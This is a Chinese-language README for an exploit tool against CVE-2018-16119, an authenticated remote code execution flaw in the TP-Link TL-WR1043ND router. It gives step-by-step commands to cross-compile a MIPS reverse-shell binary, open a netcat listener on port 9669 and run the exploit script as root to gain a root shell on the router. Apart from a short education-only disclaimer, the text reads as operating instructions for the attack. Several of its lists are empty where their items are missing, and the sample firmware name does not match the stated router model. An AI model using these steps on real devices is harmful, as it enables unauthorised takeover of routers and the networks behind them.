CVE-2018-16119 是一个影响 TP-Link TL-WR1043ND 路由器的严重认证远程代码执行漏洞。该漏洞允许经过认证的攻击者在目标设备上以 root 权限执行任意命令,可能导致系统完全沦陷。
CVE 详情: CVE-2018-16119
一旦被利用,攻击者将获得路由器的 root shell 访问权限,从而能够:
# Install required packages
sudo apt-get update
sudo apt-get install netcat docker.io
该漏洞利用需要一个 MIPS 大端序反向 Shell 二进制文件。请按照以下步骤进行编译:
# Copy the source code to /tmp
cp exploit/tftp_server/reverse_shell_mipsbe.c /tmp/
# Use Docker container with MIPS cross-compilation tools
docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
在 Docker 容器内:
cd /tmp
mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
退出 Docker 并复制编译好的二进制文件:
cp /tmp/shh exploit/tftp_server/
打开一个终端,在端口 9669 上启动 netcat 监听器:
Linux:
nc -l -p 9669 -vv
macOS:
nc -l 9669 -vv
使用 root 权限运行漏洞利用脚本(TFTP 服务器需要 root 权限):
sudo python3 exploit/exploit.py
该脚本将:
连接建立后:
CVE-2018-16119/
├── exploit/
│ ├── exploit.py # Main exploit script
│ ├── requirements.txt # Python dependencies
│ ├── notes.txt # Additional notes
│ └── tftp_server/
│ ├── reverse_shell_mipsbe.c # Reverse shell source code
│ └── shh # Compiled MIPS binary
├── firmware/
│ └── wr740nv4_webrevert.bin # Sample firmware
├── squashfs-root/ # Extracted firmware filesystem
└── README.md # This file
该漏洞已经过负责任地披露,仅应将其用于:
⚠️ 警告:本漏洞利用工具仅用于教育和授权测试目的。未经授权访问计算机系统是非法且不道德的行为。用户有责任确保在使用本工具前已获得相应授权。
安装 Python 依赖:
pip3 install -r exploit/requirements.txt
TFTP 服务器权限被拒绝:
连接失败:
Shell 无响应:
id、pwd 等基本命令这项研究展示了嵌入式设备固件中的严重安全缺陷。该漏洞凸显了以下方面的重要性:
研究人员: Alejandro Parodi
Twitter: @hdbreaker
LinkedIn: Alejandro Parodi
这项研究是出于教育目的以及改善嵌入式系统安全性而进行的。请负责任地使用。